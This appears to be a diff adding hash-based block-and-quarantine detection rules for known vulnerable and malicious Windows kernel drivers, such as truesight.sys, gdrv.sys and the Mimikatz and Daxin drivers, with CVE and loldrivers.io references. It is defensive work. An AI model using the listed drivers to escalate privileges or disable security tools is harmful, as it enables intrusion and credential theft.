+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823917Z",
+  "creation_date": "2026-03-23T11:45:30.823920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7a53a1bcf34c5ab990eafcb598ec7df3089388a1dbe085e4b190c0b82a6ec99",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0175763-87dd-5c01-abbb-71b86d9481f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487308Z",
+  "creation_date": "2026-03-23T11:45:31.487310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3a6b9ce2e106bfdb14cb1269c1f2f575c585ff36b3c69de2d4644a686939adf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d01af8fb-1a95-5e16-86d0-651f6d234e97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830168Z",
+  "creation_date": "2026-03-23T11:45:30.830170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79458431181462c1144b57d82ad913575876cdd8706a497c71db197a42f03f04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d033b9eb-fdc0-51ff-9f4f-ef98c83e746e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609503Z",
+  "creation_date": "2026-03-23T11:45:29.609505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35b1fdfa5cc9bb4a0d6e148140d59351447fa35c5c899e95da5f62a6b054af56",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d042018e-94da-543c-b5cc-cb0a939d5838",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143631Z",
+  "creation_date": "2026-03-23T11:45:32.143633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55b5bcbf8fb4e1ce99d201d3903d785888c928aa26e947ce2cdb99eefd0dae03",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0493bf7-56bd-5ead-b4c9-b39f059ed711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968150Z",
+  "creation_date": "2026-03-23T11:45:29.968152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968157Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d04aa591-d2d6-57c7-9120-7ea55a8cc728",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817817Z",
+  "creation_date": "2026-03-23T11:45:30.817820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03df432d7ff56ed53fd050b1875f5a05dffbe1c999adf2dd6c8d790b7ffd2c2d",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d04c93cd-9131-5b2c-83b6-1e86b4dd4e74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978808Z",
+  "creation_date": "2026-03-23T11:45:29.978810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26536758c2247b6251a342d2e80de1753c006a0dce9b3b8a6a5b1d3110c8fc34",
+  "comment": "Vulnerable Kernel Driver (aka procexp152.sys) [https://www.loldrivers.io/drivers/0567c6c4-282f-406f-9369-7f876b899c25/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0512981-146d-55d3-bf78-922ee5bb4151",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828720Z",
+  "creation_date": "2026-03-23T11:45:30.828722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7a83480526e5e8bbba2d70f20998a1fec54379e97bbe4dac071206f62c59c15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0545242-fe00-5d92-b6fd-9708bb597c7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453161Z",
+  "creation_date": "2026-03-23T11:45:30.453165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76276c87617b836dd6f31b73d2bb0e756d4b3d133bddfe169cb4225124ca6bfb",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d05bb891-3652-5cdf-ad7d-22936c2fc818",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613512Z",
+  "creation_date": "2026-03-23T11:45:29.613514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f44442f56f2ceb6213fce103466862ac750fb99038030003c1b42da35a43a83",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d06835a0-027a-5118-a7ba-611302dd8f4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474372Z",
+  "creation_date": "2026-03-23T11:45:31.474375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474383Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cae1049a8fecdbbd851889fe654e624ea73ca17fb093ab47842098f16318d9ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0784d77-2d5b-54ac-aa14-0dcbaa4eff37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608910Z",
+  "creation_date": "2026-03-23T11:45:29.608912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c9c86ba5ae540bb5729626cdaec89ca421f8129e4bbf6e1ea49c532b44ea0c9",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d07ac2df-d545-58bb-b2d7-26c26c5556d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972861Z",
+  "creation_date": "2026-03-23T11:45:29.972863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972880Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "851961d7d327f813b5038f111f4ef31a38f8939ee7256603ccaa43dd5df742ab",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d08f246d-4a52-55f3-8aef-34b2014050bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467893Z",
+  "creation_date": "2026-03-23T11:45:30.467896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5f58cbce305cbd4397c1da5e1a51d78575c67616f6d9c7d764f87cda540fa62",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d08facc0-084d-51d0-9411-892415e3d826",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481042Z",
+  "creation_date": "2026-03-23T11:45:31.481046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2635d308d65dd8a508926fa2ac7845d7484051a8a2124e32f265abb20a9221d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d09a0234-aa8d-5970-85ab-8b81cba5e529",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613969Z",
+  "creation_date": "2026-03-23T11:45:29.613971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ea9b2420483183cf7b25d6577848f2dfe2ae064a61d931d6b8b65b31a1b2685",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0ad21ce-2c8f-5c66-a6b2-6feada0fbda0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979895Z",
+  "creation_date": "2026-03-23T11:45:29.979896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b10f4f03eaa545d2fdb3b88890917a6fa24142689d3c43a7c39fc5bed5725bf",
+  "comment": "Malicious Kernel Driver (aka daxin_blank2.sys) [https://www.loldrivers.io/drivers/2e1531b2-d370-4543-9e2e-5319a1c13c22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0aef066-0b58-505a-a1a8-4f49216198f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619388Z",
+  "creation_date": "2026-03-23T11:45:29.619390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619395Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc65d8ade2e72475a585307311e3058b3dbc4a7d2be6740c2c53a5902e698e7f",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0b0a482-264f-5e6b-9743-6774f4571a36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490471Z",
+  "creation_date": "2026-03-23T11:45:31.490473Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9f4b0bde872ec87194f5519dac7dbddfec613002e4b2015ef035d7c46301a81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0b65c04-f43c-5147-b0f9-efca4cfc0ae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984786Z",
+  "creation_date": "2026-03-23T11:45:29.984789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrRapidStartDrv.Sys) [https://www.loldrivers.io/drivers/19d16518-4aee-4983-ba89-dbbe0fa8a3e7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0c4b3a5-69df-5053-aa09-a5f09593d3a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970600Z",
+  "creation_date": "2026-03-23T11:45:29.970602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "183ce4afa337da0edf454b6d1ae4c7f3b517751540813063fd69aa7ccb9dd4c0",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d0e162de-e7be-5114-b747-0b17ee380eea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154316Z",
